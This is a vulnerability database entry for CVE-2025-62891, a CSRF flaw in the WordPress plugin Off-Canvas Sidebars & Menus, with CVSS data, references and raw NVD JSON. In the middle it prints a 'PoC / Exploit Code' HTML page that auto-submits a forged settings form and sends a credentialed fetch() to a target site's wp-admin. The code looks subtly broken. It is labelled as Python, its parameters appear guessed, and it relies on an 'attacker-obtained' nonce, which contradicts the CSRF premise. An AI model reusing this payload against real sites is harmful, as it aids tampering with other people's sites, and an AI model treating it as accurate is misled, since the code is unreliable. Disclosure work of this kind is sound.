CVE-2025-62891

Description

Cross-Site Request Forgery (CSRF) vulnerability in Jory Hogeveen Off-Canvas Sidebars & Menus (Slidebars) off-canvas-sidebars allows Cross Site Request Forgery.This issue affects Off-Canvas Sidebars & Menus (Slidebars): from n/a through <= 0.5.8.5.

CVSS Details

CVSS Score

4.3

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Off-Canvas Sidebars & Menus (Slidebars) <= 0.5.8.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CSRF PoC for CVE-2025-62891 -->
<!-- This PoC demonstrates a CSRF attack targeting Off-Canvas Sidebars plugin -->
<html>
<head>
    <title>CSRF PoC - CVE-2025-62891</title>
</head>
<body>
    <h1>CSRF PoC for Off-Canvas Sidebars Plugin</h1>
    <p>This demonstrates how an attacker can exploit the CSRF vulnerability.</p>
    
    <!-- Form to modify plugin settings -->
    <form id="csrfForm" action="[TARGET_SITE]/wp-admin/admin.php" method="POST" enctype="multipart/form-data">
        <!-- Plugin admin page endpoint -->
        <input type="hidden" name="page" value="off-canvas-sidebars">
        
        <!-- Settings modification -->
        <input type="hidden" name="action" value="save">
        <input type="hidden" name="option_page" value="off_canvas_sidebars">
        
        <!-- Modify sidebar settings -->
        <input type="hidden" name="ocas_sidebars[primary][enabled]" value="1">
        <input type="hidden" name="ocas_sidebars[primary][position]" value="left">
        
        <!-- Nonce field (if weak or missing) - attacker would need to obtain this -->
        <input type="hidden" name="_wpnonce" value="[ATTACKER_OBTAINED_NONCE]">
        
        <button type="submit" id="autoSubmit">Click to Attack</button>
    </form>
    
    <script>
        // Auto-submit on page load (for demonstration)
        // In real attack, this would be hidden and triggered via social engineering
        document.getElementById('autoSubmit').click();
        
        // Or use AJAX with fetch API
        fetch('[TARGET_SITE]/wp-admin/admin.php', {
            method: 'POST',
            credentials: 'include',
            headers: {
                'Content-Type': 'application/x-www-form-urlencoded',
            },
            body: new URLSearchParams({
                'page': 'off-canvas-sidebars',
                'action': 'save',
                'ocas_sidebars[primary][enabled]': '1'
            })
        });
    </script>
    
    <p><strong>Note:</strong> Replace [TARGET_SITE] with the target WordPress URL and obtain valid nonce.</p>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-62891
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-62891
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-62891/
[4] VulDB https://vuldb.com/cve/CVE-2025-62891
[5] https://patchstack.com/database/Wordpress/Plugin/off-canvas-sidebars/vulnerability/wordpress-off-canvas-sidebars-menus-slidebars-plugin-0-5-8-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-62891", "sourceIdentifier": "[email protected]", "published": "2025-10-27T02:15:48.013", "lastModified": "2026-04-27T18:16:27.653", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Cross-Site Request Forgery (CSRF) vulnerability in Jory Hogeveen Off-Canvas Sidebars & Menus (Slidebars) off-canvas-sidebars allows Cross Site Request Forgery.This issue affects Off-Canvas Sidebars & Menus (Slidebars): from n/a through <= 0.5.8.5."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-352"}]}], "references": [{"url": "https://patchstack.com/database/Wordpress/Plugin/off-canvas-sidebars/vulnerability/wordpress-off-canvas-sidebars-menus-slidebars-plugin-0-5-8-5-cross-site-request-forgery-csrf-vulnerability?_s_id=cve", "source": "[email protected]"}]}}